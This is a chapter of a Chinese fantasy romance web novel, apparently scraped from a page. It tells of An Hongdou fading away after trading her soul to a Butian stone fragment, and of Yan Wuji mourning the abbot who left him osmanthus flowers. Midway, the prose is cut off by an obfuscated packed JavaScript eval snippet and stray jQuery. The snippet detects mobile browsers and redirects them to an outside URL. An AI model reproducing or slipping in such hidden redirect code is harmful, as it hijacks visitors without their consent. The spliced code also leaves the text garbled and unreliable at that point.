日出便是昭示着日落马上来临。
明明是两个人一起进的红豆林,最后却只能有一个人出来。
安红豆失魂落魄的走出来时,耳中还响着刚刚陆折玉对他的叮嘱。
“好好为自己活下去。”
“这一世,辛苦你一直等我,我先去下一世等你。”
“你慢慢来,我会一直等你。”
谢惊鸿、萧雪臣在红豆树林外等她。正好这时,苏挽月和沈清徽也回来了。
“他让我好好活着,终究还是不能如愿了。”安红豆说道。
苏挽月看着安红豆的反应,便知自己的猜测应当是真的了。
“一个月前,南浦镇,你与陆折玉的房子失火,有一人死在了那场大火中。”苏挽月说道,“那个人,是你。”
安红豆点了点头,“最后是一颗石头救了我,我用魂魄与它交易,换我多活一段时日,这样我就能见到他了。”
安红豆释怀地笑了笑,“如今,我的心愿已了,便也无需再继续了。他还在等我,我不能让他等太久。”
话音刚落,安红豆的身体便随着风散去了。
周围的红豆树也在顷刻间,化为乌有。
一颗补天石的碎片掉落在地上。
谢惊鸿将它捡了起来。
“所以,若是想借用补天石的力量,便得与它交易吗?”萧雪臣说道,“那换出去的东西,岂不是——”
司马无咎用自己的□□进行交易,所以最后他□□不在,魂魄进入轮回。安红豆用自己的魂魄进行交易,所以最后,既无□□也无魂魄的她,无法再入轮回。
谢惊鸿听了萧雪臣的话,面色如常。
“师姐,你知道?”
谢惊鸿点点头,“临行前,师父和江长老跟我与挽月说了,他们特意叮嘱,我们不可用补天石中的力量。”
谢惊鸿继续说道:“他们还不容易重逢,好不容易心中有了些欢喜之事,我实在无法说出口,告诉他们。”
苏挽月突然一脸认真地看向沈清徽,“你说,若是一个人有一个很爱很爱的人,那下一世他还会记得那个人吗?”
沈清徽一本正经地说道:“理论上来说,不会。”
苏挽月有些失落,“所以,你下一世,不会记得我了喽。”
“我不是这个意思。”
“那你是承认我是你很爱很爱的人喽。”
沈清徽说不过苏挽月,就一脸拧巴地扭过头去。
苏挽月轻声偷笑。
沈清徽连忙转移开话题,“燕无羁和裴寂呢?”
“不知道,一天没见到他们两个了。”萧雪臣说道。
“肯定又跑哪里去偷懒去了。”苏挽月说道。
处理完事情后,燕无羁也无心关注后续了,反正还有谢惊鸿和萧雪臣,他索性就不管了,回房间准备休息。
但是他躺在床榻上,辗转反侧,就是睡不着。
这次重回故都,重见故人,他心里有太多太多的事情堵着了。
正当他闭着眼,强迫自己不去想这些事情的时候,突然有东西砸自己房间窗户的声音。
燕无羁烦躁地起身,打开窗,正要口吐一些不太好的词汇,突然看见窗外是裴寂。
“你怎么在这?”燕无羁疑惑道。
“跟我走。”裴寂说道。
燕无羁虽然不解,但是还是跟着裴寂走了。
裴寂依旧带他来了开元寺。
“怎么又来这里了?”燕无羁问道。
裴寂没有回答,带着他上了屋顶。
此时是白天,寺中人很多。放着许多牌位的那个殿内,更是有着许多人。而其中又有许多人是为了那个空白牌位而来的。
那些人在空白牌位前,闭上眼,在心中默许着自己的愿望。
“你想不想知道他们许的是什么愿望。”裴寂问道。
但是裴寂显然也不需要燕无羁给出什么答案,他伸出手指便往燕无羁扇上来。
燕无羁将自己的扇子往回拿,“你要做什么?又用我的扇子。”
“哎呀,怎么这么小气啊。”裴寂一把拽住燕无羁的手腕往回带。
裴寂指腹划过扇面,渗出点点血滴。
裴寂画出一道符纸,符纸印在燕无羁耳畔,在燕无羁脸上留下一道印记。
随后,燕无羁便能听到寺庙中那些人心中的祈祷。
“草民愿前朝皇室之人往生极乐。”
“愿前朝皇室之人来世喜乐顺遂。”
“愿前朝圣上,皇后,太子,二皇子来世平安一生。”
燕无羁拿起扇子将自己耳畔的印记扇去,“你带我来就是让我听这些的?他们企图用这些事,来赎罪吗?”
裴寂平静说道:“他们不求你原谅,只是真心为那个曾经爱名如子的前朝永昼国皇室祈福。”
燕无羁冷笑一声。
裴寂继续说道:“你明明并不怨恨他们,你只是不愿意去面对而已。可是,燕无羁,你不能一直逃避。”
永昼国二皇子,勇敢善良,浑身上下都充满着能量。那样的他,岂是会一直逃避的人。
“住持想见你一面。”裴寂说道。
燕无羁在寺外纠结了许久,但是最后还是迈出了自己的步子。
可他刚迈入一步,就听见寺庙里传来一阵骚动。
燕无羁心中不安,脚步加快。
裴寂拦下一个人,问道:“发生何事了?”
那人急匆匆地说道:“老主持圆寂了。”
燕无羁愣在了原地。
燕无羁很快反应过来,径直往里冲去。
但是到屋外的时候,燕无羁却停下了脚步。
燕无羁缓缓走进屋内,裴寂跟着他走了进去。
屋内满是哭泣的人,燕无羁走到老住持身边,看到他手中攥着一封信。
信封上写着,“燕无羁亲启”。
燕无羁手颤抖地拿过那封信。
原本紧攥的信,却在燕无羁拿上的那一刻松开了。
信封打开,一股浓郁的桂花味传来。
燕无羁打开信,许多桂花散落在他衣摆上。
“无羁,恕老衲冒犯,如此称呼。其实老衲也没什么特别想说的,只是想起来,上一次见面,你说想采些桂花做成桂花酒,老衲便替你采了些。”
简简单单几句话,燕无羁越看越难过,眼泪再也控制不住地落了下来。
燕无羁泣不成声地说道:“他,他在,他在等我——若是,若是不那么在意自己的纠结,若是我来的再早些,若是——”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643054|188146||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
燕无羁说不出来了。
燕无羁平日里脸上总是带着笑意,仿佛并没有什么事能让这样一个人痛哭。
可带着笑意的面具下,是他最柔软的内心,是他最不敢触碰的地方。
裴寂将散落的桂花都收集起来,装进了一个透明的酒瓶当中,递到了燕无羁的手上。
在这个满是哭声的房间里,燕无羁不再压抑自己。
燕无羁和裴寂送了老住持最后一程。
那个摆满牌位的房间里,那块无名牌位旁,被摆上了老住持的牌位。
燕无羁和裴寂两人站在牌位前,为牌位上了香。
“其实,想必于怨恨他们,我更恨自己。恨自己根本没有能力去改变那一切。你说的对,我一直在逃避,逃避面对自己的真实身份,甚至在入宗前还拜托师父为我更改了容貌。”燕无羁说着。
更改了容貌?裴寂想着,原来是这样,我才没有认出你。
燕无羁继续说道:“裴寂,不管怎样,谢谢你。”
“唉,谢谢这两个字我都要听的耳朵起茧子了。”裴寂伸了个懒腰,“走了,大家还在等我们呢。”
两人并肩走着。
“话说,你就没有想过复国?”裴寂问道。
“什么复国啊?你回头看看,如此安平盛世,我何需再去改变什么。”
“哇,不亏是我们二皇子殿下,心怀大爱!”
“别贫。”燕无羁举起扇子在裴寂头顶轻敲一下。
裴寂捂住自己的脑袋,“刚刚还一脸见到大恩人一样看着我呢,现在就恩将仇报了!”
“好好好,大恩人。”
两人就这样一路拌着嘴往前走着。
京都的事结束了,江醉鱼和裴幽也要回苍梧宗了。
江醉鱼小心走到燕无羁身边,“燕师兄,你不生我的气了吧。”
燕无羁勾起嘴角,手搭上江醉鱼的肩膀,“我怎么会生你的气呢。不过,这位小殿下,等我回苍梧宗可要请你师兄我吃饭啊。”
江醉鱼开心道:“一定!”
裴幽有些不舍,不愿意离开。
“怎么,见过我的往生符,被我超强的实力厉害到了,舍不得走了?”裴寂笑道。
裴幽平时都喜欢嘴硬,今日却是一反常态的真诚。
“师兄,我想学。”
裴寂也难得正经一回,“你现在境界不够,还不能学,不过——”
裴寂扔给裴幽一本书册,“这个是我当年学习符纸时的一些心得,应该对你很有帮助,至于能不能悟到,就看你自己的了。”
“多谢师兄。”
“行了,走吧,又不是见不到了。”燕无羁见两人都是依依不舍的样子。
走之前,江醉鱼问道:“师兄师姐,试炼大会,你们可会回来参加?”
“当然会,不然就靠你们,如何给我们苍梧宗拿下魁首。”裴寂骄傲地说道。
苏挽月在一旁吐槽道:“就你,哪年的魁首跟你有关系,你哪次不是往旁边一躺就是睡。”
“你懂什么,一些小事,是还轮不到我出手的。你那些药,我都不稀得说你。”
六人吵吵闹闹地,有人吵架,有人劝架。
远处夕阳彻底落下,这个世界即将迎来新一轮的日出。